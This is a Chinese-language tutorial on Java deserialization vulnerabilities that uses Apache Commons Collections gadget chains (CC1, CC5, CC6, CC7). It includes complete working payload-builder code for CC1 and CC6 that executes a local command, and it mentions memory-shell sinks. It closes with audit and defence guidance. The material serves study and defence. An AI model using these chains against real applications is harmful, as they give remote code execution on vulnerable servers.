1. Apache Commons Collections 是什么

Apache Commons Collections 是 Apache Commons 项目中的一个 Java 工具库,提供了很多对 JDK 集合类的增强能力,比如更丰富的 MapListSet 工具,对集合元素进行转换、过滤、装饰,以及一些函数式风格的接口如 TransformerPredicateClosure

在很多老版本 Java 项目中,Commons Collections 都很常见。Maven 依赖示例:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

对应 jar 包一般叫:commons-collections-3.2.1.jar

这类问题通常被称为 Apache Commons Collections 反序列化漏洞,是因为利用链中依赖了 Commons Collections 提供的 gadget。严格来说,漏洞入口并不是 Commons Collections 提供的,而是不可信数据进入了 Java 原生反序列化流程。Commons Collections 在这里扮演的是 gadget 来源。

2. 从原生反序列化到 Commons Collections 调用链

Commons Collections 调用链其实就是业内简称的 CC 链。CC1、CC2、CC6 等,本质上就是不同的 Commons Collections Gadget Chain。

我们可以继续沿用 【Java 反序列化基础与漏洞入门:从 readObject 到第一条调用链#cl-14 】中模拟的风险业务代码:服务端通过 VulnerableReader.main() 读取外部序列化数据,并调用 ObjectInputStream.readObject() 进行反序列化。

区别在于,上篇中我们自己写了 DemoTriggerDemoAction 来模拟 gadget 和 sink。这一篇不再使用之前自定义的 DemoTrigger / DemoAction 作为核心链路,而是使用真实的 Commons Collections 调用链。整体仍然按发现 source -> 利用 gadget -> 触发 sink 来看:

  1. source:入口和上篇一样,都是不可信序列化数据进入 ObjectInputStream.readObject()
  2. gadget:目标环境 classpath 中存在 Commons Collections 相关类,攻击者构造的 payload 对象图会引用这些已有类,并让它们在反序列化过程中被串成调用链。
  3. sink:调用链继续传递,最终到达危险操作,例如命令执行、文件写入、JNDI 请求、反射调用危险方法等。

接下来我们就看看 Commons Collections 中有哪些 gadget。

3. Transformer 如何实现自动调用

首先要看的就是 Transformer,它是 Commons Collections 内置的一个函数式接口,它定义了一个方法 transform(Object input),你可以把它理解成一个"转换器",比如输入一把草,输出一杯奶。至于怎么转换,由实现类自己决定。它可以像普通回调接口一样被实现和调用,也可以作为集合装饰类的参数,在集合操作时自动调用

我们先看一下普通调用。Commons Collections 已经内置了一批 Transformer 实现类,不需要自己实现 Transformer 接口。比如 ConstantTransformer

import org.apache.commons.collections.Transformer;
// 导入内置的 ConstantTransformer 类
import org.apache.commons.collections.functors.ConstantTransformer;
// 定义一个自定义演示类
public class ConstantTransformerDemo {
    public static void main(String[] args) {
        // 用内置的 ConstantTransformer 类创建一个 Transformer 实例作为”转换器“,无论输入什么都返回 "fixed-value"
        Transformer transformer = new ConstantTransformer("fixed-result");
        
        // 手动调用 transform() 方法,和调用任何普通 Java 对象的方法没有区别。
        System.out.println(transformer.transform("hello"));  // 输出 fixed-result
        System.out.println(transformer.transform("world"));  // 输出 fixed-result
    }
}

编译和运行命令如下:

javac -cp commons-collections-3.2.1.jar ConstantTransformerDemo.java
java -cp .:commons-collections-3.2.1.jar ConstantTransformerDemo

调用 transform() 方法时,无论我们传递什么参数,ConstantTransformer 都会返回固定值 "fixed-result",不会改变 transform() 的输入参数。这是 ConstantTransformer 的特点,实际上它可以返回任意 Java 对象,返回的对象可以被后续的 Transformer 调用。示例代码如下:

// ConstantTransformer 返回 Runtime 对象
Transformer t = new ConstantTransformer(Runtime.getRuntime());
// transform() 返回的就是那个 Runtime 实例
Runtime r = (Runtime) t.transform("ignored");
// 在返回的对象上调用 exec() 方法,执行命令 id 并将结果输出到终端
r.exec("id");

正因为这样的特性,ConstantTransformer 通常是 CC 链中的"起点"。

再看一下作为回调传给集合装饰类的情况。Commons Collections 中有一个 TransformedMap 装饰类,它可以装饰(相当于给毛坯房装修,可以过滤、赋值、转换、权限校验、日志记录等)一个已有的 Map,在不修改原始 Map 代码的情况下,在写入 key 或 value 时自动回调关联的 Transformer 做一次转换:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) {
        // 创建一个原始的 HashMap 实例,因为HashMap实现了java.io.Serializable 接口,所以可以被序列化
        Map innerMap = new HashMap();
        // 使用内置的 ConstantTransformer 类创建一个 Transformer 实例
        Transformer valueTransformer = new ConstantTransformer("fixed-value");
        // 使用 TransformedMap 装饰器的 decorate 装饰方法把 innerMap 包进 TransformedMap 的 transformedMap 实例
        // decorate 的参数是: decorate(原始Map, key转换器, value转换器)
        Map transformedMap = TransformedMap.decorate(innerMap, null, valueTransformer);
        // 调用 transformedMap 实例的 put 方法时,执行顺序是这样的:
        //    第一步:transformedMap 拦截到你的 put 请求
        //    第二步:它取出你的 value(即 "zhangsan"),丢给 valueTransformer.transform()
        //    第三步:valueTransformer.transform("zhangsan") 执行后返回 "fixed-value"
        //    第四步:transformedMap 把返回的 "fixed-value" 存进 innerMap
        transformedMap.put("name", "zhangsan");
        // 所以输出 {name=fixed-value},不是 {name=zhangsan}
        System.out.println(transformedMap);
    }
}

调用关系是:

  • 调用 transformedMap.put("name", "zhangsan")
  • TransformedMap 内部自动调用 valueTransformer.transform("zhangsan")
  • ConstantTransformer 忽略输入,返回 "fixed-value"
  • "fixed-value" 替代 "zhangsan" 存入底层 Map

我们没有手动调用 transform() 方法,但它却被执行了,可见被 ConstantTransformer 装饰的 Map 在调用 put 方法时会自动调用 transform() 方法,CC 链利用的就是这种自动调用的机制。攻击者不需要自己调用 transform(),只需要把构造好的 Transformer 对象放进序列化数据,就可以让目标环境中的集合装饰类在反序列化过程中自动触发它。

具有同样特性的还有 LazyMap,但触发时机不同,它是在获取不存在的 key 时自动调用 transform() 方法。

4. InvokerTransformer 如何实现反射调用

ConstantTransformer 一样,InvokerTransformer 也是 Commons Collections 内置的一个 Transformer 实现类,但它的 transform() 方法不做普通转换,而是通过反射调用输入对象上的某个方法。比如:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformerDemo {
    public static void main(String[] args) {
        // 创建 InvokerTransformer 实例 transformer,指定要调用的方法名和参数
        Transformer transformer = new InvokerTransformer(
                "toUpperCase",      // Java 中的方法名
                new Class[0],       // 参数类型列表(无参数)
                new Object[0]       // 参数值列表(无参数)
        );

        // 调用 transform(),等价于反射调用了 "hello".toUpperCase()
        Object result = transformer.transform("hello");
        System.out.println(result);  // 输出 HELLO
    }
}

如果把方法名从 "toUpperCase" 改成 "toLowerCase",调用 transformer.transform("HELLO") 就等价于调用了 "HELLO".toLowerCase()。这里使用 InvokerTransformer 和 Transformer 接口实现了反射调用。所以 InvokerTransformer 可以用来实现任意方法的反射调用。

这里的 transform() 仍然是我们自己手动调用的。如果把 InvokerTransformer 放进 TransformedMap,就可以自动调用 transform() 方法了。

5. ChainedTransformer 如何链式调用

Commons Collections 提供了一个可以链式调用的类 ChainedTransformer。它的执行规则是:前一个 Transformer 的输出自动成为下一个 Transformer 的输入。用一个示例说明 ChainedTransformer 的使用:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ChainedTransformerDemo {
    public static void main(String[] args) {
        // 定义一个 Transformer 数组,用来让 ChainedTransformer 将多个 InvokerTransformer 串联执行
        Transformer[] transformers = new Transformer[]{
                // 第一步:忽略原始输入,返回字符串 "  Hello World  "。
                new ConstantTransformer("  Hello World  "),

                // 第二步:对上一步结果调用 trim(),去掉首尾空格。
                new InvokerTransformer("trim", new Class[0], new Object[0]),

                // 第三步:对上一步结果调用 toLowerCase(),转小写。
                new InvokerTransformer("toLowerCase", new Class[0], new Object[0]),

                // 第四步:对上一步结果调用 replaceAll(" ", "-"),替换空格。
                new InvokerTransformer("replaceAll",
                        new Class[]{String.class, String.class},
                        new Object[]{" ", "-"})
        };
        
        // 创建一个 ChainedTransformer 实例 chain,指定要串起来的 Transformer 数组
        Transformer chain = new ChainedTransformer(transformers);
        
        // 调用 transform() 方法,等价于反射调用了 "  Hello World  ".trim().toLowerCase().replaceAll(" ", "-")
        Object result = chain.transform("ignored-input");
        // 输出 hello-world
        System.out.println(result);
    }
}

调用关系:

  • 调用 ChainedTransformer.transform("ignored-input")
  • ConstantTransformer 返回 " Hello World "
  • InvokerTransformer 反射调用 " Hello World ".trim() 返回 "Hello World"
  • InvokerTransformer 反射调用 "Hello World".toLowerCase() 返回 "hello world"
  • InvokerTransformer 反射调用 "hello world".replaceAll(" ", "-") 返回 "hello-world"

这样就只需要调用 ChainedTransformer.transform() 方法,就可以实现多步调用,不需要手动调用每个 InvokerTransformer

6. 拼出调用链并放入对象图

通过前面的内容我们知道了:

  • ConstantTransformer:可以返回任意对象
  • TransformedMap:可以在添加 key 或 value 时自动调用 transform() 方法
  • LazyMap:可以在获取不存在的 key 时自动调用 transform() 方法
  • InvokerTransformer:可以通过反射调用任意方法
  • ChainedTransformer:可以把多个 Transformer 串起来,一次执行全部步骤

现在我们可以利用这些 gadget 来构造一条完整的调用链,实现从 source 到 sink 的调用了。

假设 sink 是执行命令 id 并将结果输出到终端。经典 CC1 链通常用 Runtime.exec() 作为 sink,但子进程的输出不会显示在 Java 终端中。本文用 ProcessBuilder 替代,通过 inheritIO() 让结果直接可见。正常调用是 new ProcessBuilder("id").inheritIO().start()。用反射实现就需要五步:获取 ProcessBuilder.class → 获取构造方法 → 创建实例 → 调用 inheritIO() → 调用 start()

这五步正好对应五个 Transformer:

  1. ConstantTransformer(ProcessBuilder.class) 返回 Class 对象作为起点
  2. InvokerTransformer("getConstructor") 获取构造方法
  3. InvokerTransformer("newInstance") 创建实例
  4. InvokerTransformer("inheritIO") 继承 IO
  5. InvokerTransformer("start") 启动进程

然后就可以用 ChainedTransformer 把它们串成一条链,再把 ChainedTransformer 放入 TransformedMap 就可以在集合操作时自动触发这条链。

但现在还有一个问题:反序列化时,谁来操作 TransformedMap,让它触发 ChainedTransformer 呢?

答案是 JDK 内部的 AnnotationInvocationHandler。它的 readObject() 方法在反序列化时,会遍历内部 Map 的每个条目,将 Map 的 key 与注解成员名比对,当 key 匹配到注解成员时,就会调用 setValue()。需要注意的是,传入的注解必须带有成员(如 @Target、@Retention),像 @Override、@Deprecated 这类无成员注解则会跳过。我们用一段代码来看一下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.*;

public class Test {
    // 一个简单的 Transformer 实现,用于打印 setValue() 是否被调用
    static class PrintTransformer implements Transformer, Serializable {
        public Object transform(Object input) {
            System.out.println(">>> setValue() 被调用了!");
            return input;
        }
    }

    public static void main(String[] args) throws Exception {
        // 1. 准备一个 Map 实例
        Map<String, Object> inner = new HashMap<>();
        // key 必须为 "value",否则在遍历 Map 时,会因为找不到与 "value" 对应的注解方法,直接跳过 setValue() 的调用
        inner.put("value", "hello");
        // 用 TransformedMap 包装 inner,方便观察 setValue() 是否被调用
        Map map = TransformedMap.decorate(inner, null, new PrintTransformer());

        // 2. 反射创建 AnnotationInvocationHandler
        // 因为 AnnotationInvocationHandler 的构造方法是私有的,所以无法通过 new 正常创建,只能通过反射创建它的实例
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 反射获取它的私有构造方法
        Constructor<?> c = clazz.getDeclaredConstructor(Class.class, Map.class);
        // 设置允许调用私有构造方法,没有这一步就无法创建实例
        c.setAccessible(true);
        // 创建 AnnotationInvocationHandler 实例
        // 参数1:必须是带有 value() 成员的注解类型(比如 @Target 或 @Retention),否则在遍历 Map 时,会因为找不到与 Key 对应的注解方法,直接跳过 setValue() 的调用
        // 参数2:我们准备好的要遍历的 Map 实例
        Object handler = c.newInstance(Target.class, map);

        // 3. 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(handler);

        // 4. 反序列化
        new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())).readObject();
    }
}

编译和运行命令如下:

# 必须使用 JDK 8u71 之前的版本
javac -encoding UTF-8 -cp commons-collections-3.2.1.jar Test.java
java -cp .:commons-collections-3.2.1.jar Test

于是完整的调用链就出来了:

  • source 仍然是 ObjectInputStream.readObject() 方法
  • 反序列化时 AnnotationInvocationHandler.readObject() 自动触发 TransformedMap.checkSetValue() 方法
  • TransformedMap 内部调用 ChainedTransformer.transform() 方法
  • ChainedTransformer 执行五个 Transformer:

    • ConstantTransformer(ProcessBuilder.class) 提供起点
    • InvokerTransformer("getConstructor") 获取构造方法
    • InvokerTransformer("newInstance") 创建 ProcessBuilder 实例
    • InvokerTransformer("inheritIO") 让输出继承到终端
    • InvokerTransformer("start") 启动进程执行命令
  • sink:id 命令被执行,结果输出到终端

这就是经典的 CC1 gadget 链。

cc1-chain.png

7. 实现 CC1 gadget 链

上边的分析是从反序列化入口开始的调用顺序,构造时我们要倒着生成序列化数据。我们可以沿用 【Java 反序列化基础与漏洞入门:从 readObject 到第一条调用链#cl-13 】中的目录结构和 VulnerableReader 作为 source 入口。访问https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar下载 commons-collections-3.2.1.jar 并放入目录,最终目录结构如下:

cc1-demo/
├── commons-collections-3.2.1.jar
└── src/main/java/
    ├── PayloadBuilder.java    // 构造 CC1 payload
    └── VulnerableReader.java  // 模拟风险业务代码(source)

Lab 地址:https://github.com/NHPT/Java-Deserialization-Lab/tree/main/cc1_demo

创建 PayloadBuilder.java 实现 CC1 gadget 链并序列化为 payload:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class PayloadBuilder {
    public static void main(String[] args) throws Exception {
        // 1. 组装 Transformer 链
        Transformer[] transformers = new Transformer[]{
                // 第一步:获取 ProcessBuilder.class
                new ConstantTransformer(ProcessBuilder.class),
                // 第二步:调用 getConstructor(String[].class) 获取构造方法
                new InvokerTransformer(
                        "getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[]{String[].class}}
                ),
                // 第三步:调用 newInstance 创建 ProcessBuilder("id") 实例
                // new Object[]{new String[]{"id"}} 多包一层,防止 varargs 拆开 String[]
                new InvokerTransformer(
                        "newInstance",
                        new Class[]{Object[].class},
                        new Object[]{new Object[]{new String[]{"id"}}}
                ),
                // 第四步:调用 inheritIO() 让输出继承到终端
                new InvokerTransformer(
                        "inheritIO",
                        new Class[0],
                        new Object[0]
                ),
                // 第五步:调用 start() 启动进程执行命令
                new InvokerTransformer(
                        "start",
                        new Class[0],
                        new Object[0]
                )
        };
        Transformer chain = new ChainedTransformer(transformers);

        // 2. 把 ChainedTransformer 放入 TransformedMap
        Map innerMap = new HashMap();
        innerMap.put("value", "anything");
        Map transformedMap = TransformedMap.decorate(innerMap, null, chain);

        // 3. 用 AnnotationInvocationHandler 包装 TransformedMap
        // 反射获取 AnnotationInvocationHandler 类
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        // 创建 AnnotationInvocationHandler 实例
        // 参数1:Target.class
        // 参数2:transformedMap —— 我们精心构造的、带有恶意 Transformer 的 Map
        Object handler = constructor.newInstance(Target.class, transformedMap);

        // 4. 序列化为 payload.ser
        try (ObjectOutputStream out = new ObjectOutputStream(
                new FileOutputStream("data/payload.ser"))) {
            out.writeObject(handler);
        }
        System.out.println("payload.ser 已生成");
    }
}

VulnerableReader.java 沿用上篇的模拟风险业务代码:

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class VulnerableReader {
    public static void main(String[] args) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(
                new FileInputStream("data/payload.ser"))) {
            in.readObject();  // source:不可信数据进入反序列化入口
        }
    }
}

编译并运行(需要 JDK 8u71 以下版本):

mkdir -p data out
# 编译并运行 PayloadBuilder,生成 payload.ser
javac -encoding UTF-8 -cp commons-collections-3.2.1.jar -d out src/main/java/*.java
java -cp out:commons-collections-3.2.1.jar PayloadBuilder
# 运行 VulnerableReader,反序列化 payload.ser
java -cp out:commons-collections-3.2.1.jar VulnerableReader

运行 VulnerableReader 后,终端会显示命令执行结果,命令执行成功。

cc1_res.png

和上篇对比,source 仍然是文件中的序列化数据,gadget 从自己写的 DemoTrigger / DemoAction 换成了 Commons Collections 中的真实类。

如果我们执行其他 sink,如 Runtime.exec 执行命令 whoami,则调用链如下:

  • source 仍然是 ObjectInputStream.readObject() 方法
  • 反序列化时 AnnotationInvocationHandler.readObject() 自动触发 TransformedMap.checkSetValue() 方法
  • TransformedMap 内部调用 ChainedTransformer.transform() 方法
  • ChainedTransformer 依次执行四个 Transformer:

    • ConstantTransformer(Runtime.class) 提供起点
    • InvokerTransformer("getMethod", "getRuntime") 反射获取 Method 对象
    • InvokerTransformer("invoke") 反射获取 Runtime 实例
    • InvokerTransformer("exec", "whoami") 执行命令
  • sink:whoami 命令被执行

如果执行其他 sink,如 TemplatesImpl 内存马,则调用链如下:

  • source 仍然是 ObjectInputStream.readObject() 方法
  • 反序列化时 AnnotationInvocationHandler.readObject() 自动触发 TransformedMap.checkSetValue() 方法
  • TransformedMap 内部调用 ChainedTransformer.transform() 方法
  • ChainedTransformer 依次执行两个 Transformer:

    • ConstantTransformer(templatesImpl) 提供起点
    • InvokerTransformer("newTransformer") 触发字节码执行
  • sink:内存马被注入

我们可以发现 CC1 Gadget 链关键的部分其实就是:

  • source:ObjectInputStream.readObject() 方法
  • AnnotationInvocationHandler.readObject() 方法
  • TransformedMap.checkSetValue() 方法
  • ChainedTransformer.transform() 方法
  • InvokerTransformer.transform() 方法
  • sink

cc1.png

CC1 依赖 AnnotationInvocationHandler,JDK 8u71 之后该类反序列化逻辑被修改,这条链失效。

需要注意的是,CC 链并不依赖文件传输方式,文件只是为了方便理解而选择的一种载体。在真实环境中,攻击者更多会通过 HTTP 请求、RPC 调用等业务场景传递恶意数据。同时,RMI、JNDI 等 Java 相关技术在特定场景下也可能涉及反序列化数据传输,攻击者可以将 Gadget Chain payload 放入通信数据中,当目标应用自动反序列化这些数据时,即可触发利用链。后续讲解 Fastjson、Log4j 等漏洞时,会进一步介绍这种间接触发方式。

8. 其他 CC 链

CC1 是学习 CC 链的经典入口,但实际利用中受 JDK 版本限制。CC5、CC6、CC7 换了触发点,绕过了版本限制,核心的 Transformer 链构造方式完全不变。

各链适用 JDK 版本(commons-collections 3.2.1):

触发点JDK 兼容
CC1AnnotationInvocationHandler + TransformedMap经典链通常适用于 JDK ≤ 8u71
CC5BadAttributeValueExpException + TiedMapEntry + LazyMap经典链通常要求 JDK ≤ 8u76,并存在其他环境条件
CC6HashMap + TiedMapEntry + LazyMap全版本
CC7Hashtable + LazyMap全版本

CC5 调用链

  • source 仍然是 ObjectInputStream.readObject() 方法
  • 反序列化时 BadAttributeValueExpException.readObject() 触发 TiedMapEntry.toString()
  • TiedMapEntry.toString() 触发 TiedMapEntry.getValue()
  • TiedMapEntry.getValue() 触发 LazyMap.get()
  • LazyMap 内部调用 ChainedTransformer.transform() 方法
  • ChainedTransformer 依次执行五个 Transformer(同 CC1)
  • sink

CC6 调用链

  • source 仍然是 ObjectInputStream.readObject() 方法
  • 反序列化时 HashMap.readObject() 触发 TiedMapEntry.hashCode()
  • TiedMapEntry.hashCode() 触发 TiedMapEntry.getValue()
  • TiedMapEntry.getValue() 触发 LazyMap.get()
  • LazyMap 内部调用 ChainedTransformer.transform() 方法
  • ChainedTransformer 依次执行五个 Transformer(同 CC1)
  • sink

CC7 调用链

  • source 仍然是 ObjectInputStream.readObject() 方法
  • 反序列化时 Hashtable.readObject() 触发哈希碰撞
  • 哈希碰撞触发 LazyMap.get()
  • LazyMap 内部调用 ChainedTransformer.transform() 方法
  • ChainedTransformer 依次执行五个 Transformer(同 CC1)
  • sink

CC6 因为跨 JDK 版本通用,在实际中使用最广泛。CC6 和 CC1 的 Transformer 链部分完全一样,只换了外层触发点:

  • CC1: AnnotationInvocationHandler -> TransformedMap
  • CC6: HashMap -> TiedMapEntry -> LazyMap

下面我们用一段代码学习 CC6 的 HashMap、HashSet、TiedMapEntry 和 LazyMap 这些 gadget,新建 CC6PayloadBuilder.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6PayloadBuilder {
    public static void main(String[] args) throws Exception {
        // 1. 组装 Transformer 链(和 CC1 完全一样)
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(ProcessBuilder.class),
                new InvokerTransformer(
                        "getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[]{String[].class}}
                ),
                new InvokerTransformer(
                        "newInstance",
                        new Class[]{Object[].class},
                        new Object[]{new Object[]{new String[]{"id"}}}
                ),
                new InvokerTransformer("inheritIO", new Class[0], new Object[0]),
                new InvokerTransformer("start", new Class[0], new Object[0])
        };
        Transformer chain = new ChainedTransformer(transformers);

        // 2. 把 ChainedTransformer 放入 LazyMap。
        // LazyMap 的特点是:调用 lazyMap.get(key) 时,如果 key 不存在,它会调用 factory.transform(key) 生成 value。
        // 这里的 factory 就是我们前面构造好的 ChainedTransformer。
        // 所以后续只要能让程序自动调用 lazyMap.get(key),而 key 不存在时就能触发 ChainedTransformer.transform()。
        Map lazyMap = LazyMap.decorate(new HashMap(), chain);

        // 3. 创建 TiedMapEntry 实例,把 LazyMap 和 key 绑定在一起。TiedMapEntry 通过 getKey() 获取 key,通过 getValue() 获取 LazyMap.get(key)。
        // 当程序调用 entry.hashCode() 时,它会先调用 entry.getValue(),而 entry.getValue() 又会调用 lazyMap.get(key)。
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        // 4. 创建一个 HashSet 实例,作为反序列化触发点。
        // HashSet 内部使用 HashMap 保存元素,HashSet 的元素会作为内部 HashMap 的 key,数据结构类似这样:[ {"key": "value"} ]。
        // 反序列化 HashSet 时,会调用 HashSet.readObject() 把元素重新放回内部 HashMap。
        // HashSet.readObject() 会调用 HashMap.put(key, value)。
        // HashMap.put(key, value) 会调用 key.hashCode() 计算 key 的哈希值。
        // 所以如果 HashSet 的元素是 TiedMapEntry,反序列化时就会间接触发 entry.hashCode()。
        // 这里创建一个 HashSet 实例,容量为 1,添加 "bar" 元素到 HashSet 中作为占位元素。
        // 不直接 set.add(entry) 是因为 HashSet.add(entry) 也会调用 entry.hashCode(),导致链条在本地构造 payload 时提前触发。
        HashSet set = new HashSet(1);
        set.add("bar");

        // 接下来是就是 CC6 中最核心的部分,如何把 TiedMapEntry 放入 HashSet 中。
        // 4.1 先通过 Java 反射,获取 HashSet 类中名为 "map" 的成员变量(Field)
        Field f = HashSet.class.getDeclaredField("map");
        // 4.2 允许操作 map 成员变量(Field)
        f.setAccessible(true);
        // 4.3 从 set 对象中取出它内部的 map 字段,并强制转换成 HashMap 类型。
        // 也就是把 HashSet 内部实际使用的 HashMap 取出来。
        HashMap innerMap = (HashMap) f.get(set);
        // 4.4 通过 Java 反射,获取 HashMap 类中名为 "table" 的成员变量(Field)
        Field tf = HashMap.class.getDeclaredField("table");
        // 4.5 允许操作 table 成员变量(Field)
        tf.setAccessible(true);
        // 4.6 从 innerMap 对象中取出内部的 table 数组。
        // table 是 HashMap 用来保存 Node 节点的内部数组。
        Object[] table = (Object[]) tf.get(innerMap);
        // 4.7 从 table 数组中取出第一个桶中的 Node 节点。
        // 当前示例中,HashSet 中保存的 "bar" 对应的 Node 位于 table[0]。
        Object node = table[0];
        // 4.8 通过 Java 反射,获取 Node 类中名为 "key" 的成员变量(Field)。
        // HashSet 内部实际上使用 HashMap 保存元素,HashMap 的 Node.key。也就是 HashSet 中保存的元素,因此这里对应的就是 "bar"。
        Field kf = node.getClass().getDeclaredField("key");
        // 4.9 允许操作 key 成员变量(Field)
        kf.setAccessible(true);
        // 4.10 将当前 Node 的 key 替换成 entry。也就是把 HashSet 内部原来的 "bar" 替换成 TiedMapEntry 对象。
        kf.set(node, entry);

        // 5. 序列化
        try (ObjectOutputStream out = new ObjectOutputStream(
                new FileOutputStream("data/payload.ser"))) {
            out.writeObject(set);
        }
        System.out.println("payload.ser 已生成");
    }
}

cc6_res.png

与 CC1 相比,CC6 不限制 JDK 版本,核心区别只在触发点部分:ChainedTransformer.transform() 之前从 AnnotationInvocationHandler 换成了 HashMap + TiedMapEntry + LazyMap

CC3 不同,它是利用 TemplatesImpl 加载字节码执行任意 Java 代码,是一条完全不同的利用路线。CC2 和 CC4 需要 commons-collections4,不在本文 3.2.1 版本的范围内,和 CC3 一样走 TemplatesImpl 字节码路线,会在后续文章中单独讲解。

9. 审计与防御

9.1 常见失败原因

CC 链实验失败时,按以下顺序排查:

  1. classpath 中没有 Commons Collections:确认 pom.xmllib 目录中存在 commons-collections-3.x.jar
  2. 版本不匹配:Commons Collections 3.2.2 及以上版本对 InvokerTransformer 等类添加了序列化限制,大部分 CC 链失效。
  3. JDK 版本过高:JDK 8u71 之后 AnnotationInvocationHandler 的反序列化逻辑被修改,CC1 失效。高版本 JDK 还有模块化限制和反射过滤。
  4. 相关类不可序列化:链条中某个类没有实现 Serializable,序列化直接失败。
  5. 反序列化入口不接收攻击者可控数据:不是所有 readObject() 都是漏洞入口。
  6. 使用了 ObjectInputFilter:JEP 290 过滤器可按类名、深度等维度拦截。
  7. 调用链中字段值不对:方法名拼写错误、参数类型不匹配导致反射调用失败。

排查时不要只看最终效果,要沿着调用栈逐步确认每一帧。

9.2 项目中如何判断 Commons Collections 风险

审计项目时,按以下顺序排查:

第一,找入口:搜索代码中是否使用了 Java 原生反序列化:

ObjectInputStream
readObject
readUnshared

第二,判断输入是否可控:反序列化的数据来自哪里?

  • HTTP 请求参数或 Body
  • Cookie(如 Shiro RememberMe)
  • 文件上传
  • 消息队列
  • 缓存(如 Redis 中存储的序列化对象)
  • 数据库字段

第三,检查 classpath:目标环境是否存在 Commons Collections:

pom.xml / build.gradle 中搜索 commons-collections
WEB-INF/lib / BOOT-INF/lib 中搜索 commons-collections-*.jar
容器自带的 lib 目录

重点关注版本号是否 ≤ 3.2.1。

第四,检查防护措施:是否配置了 ObjectInputFilter 白名单、签名校验、是否从根源上避免反序列化不可信数据。

9.3 修复与防御

最根本的原则是:

不要反序列化不可信数据。

具体措施:

  • 不让用户可控数据直接进入 ObjectInputStream.readObject()
  • 升级 Commons Collections 到 3.2.2 或更高版本(移除了高危类的序列化能力)。
  • 如果不需要,直接从依赖中移除 Commons Collections 旧版本。
  • 使用 JEP 290 ObjectInputFilter 配置白名单,限制允许反序列化的类。
  • 对序列化数据做签名和完整性校验。
  • 优先使用 JSON、Protobuf 等明确的数据格式和简单 DTO,不恢复复杂对象图。

需要注意:黑名单拦截几个已知类名并不可靠,新的 gadget 组合可能绕过。

10. 本文小结

读完本文后,你应该掌握这些内容:

  • Commons Collections 本身是正常工具库,漏洞入口仍然是 Java 原生反序列化。
  • Transformer 在 CC 链中的价值是"可被保存、组合、回调",攻击者利用的是目标环境中已有的实现类。
  • InvokerTransformer 把方法名从代码变成字段数据,可以被序列化数据控制,从而动态调用任意方法。
  • ChainedTransformer 把多个 Transformer 串成一条链,一次调用全部执行。
  • TransformedMapLazyMap 在集合操作时自动调用 Transformer,是连接"对象图恢复"与"调用链执行"的桥梁。
  • CC1 使用 AnnotationInvocationHandler + TransformedMap 作为触发点,JDK 8u71 之后失效。
  • CC6 换成 HashMap + TiedMapEntry + LazyMap,gadget 组件完全一样,绕过了版本限制。
  • 整条链按 source -> gadget -> sink 分析,不要只背 payload。
  • Gadget 链强依赖 classpath 中存在的具体类和版本。
  • ysoserial 只作为结果对照,先手工理解再对照验证。

下一篇将继续讲 Apache Shiro rememberMe 反序列化漏洞,涉及 Cookie 解密、密钥硬编码和框架内部的数据流。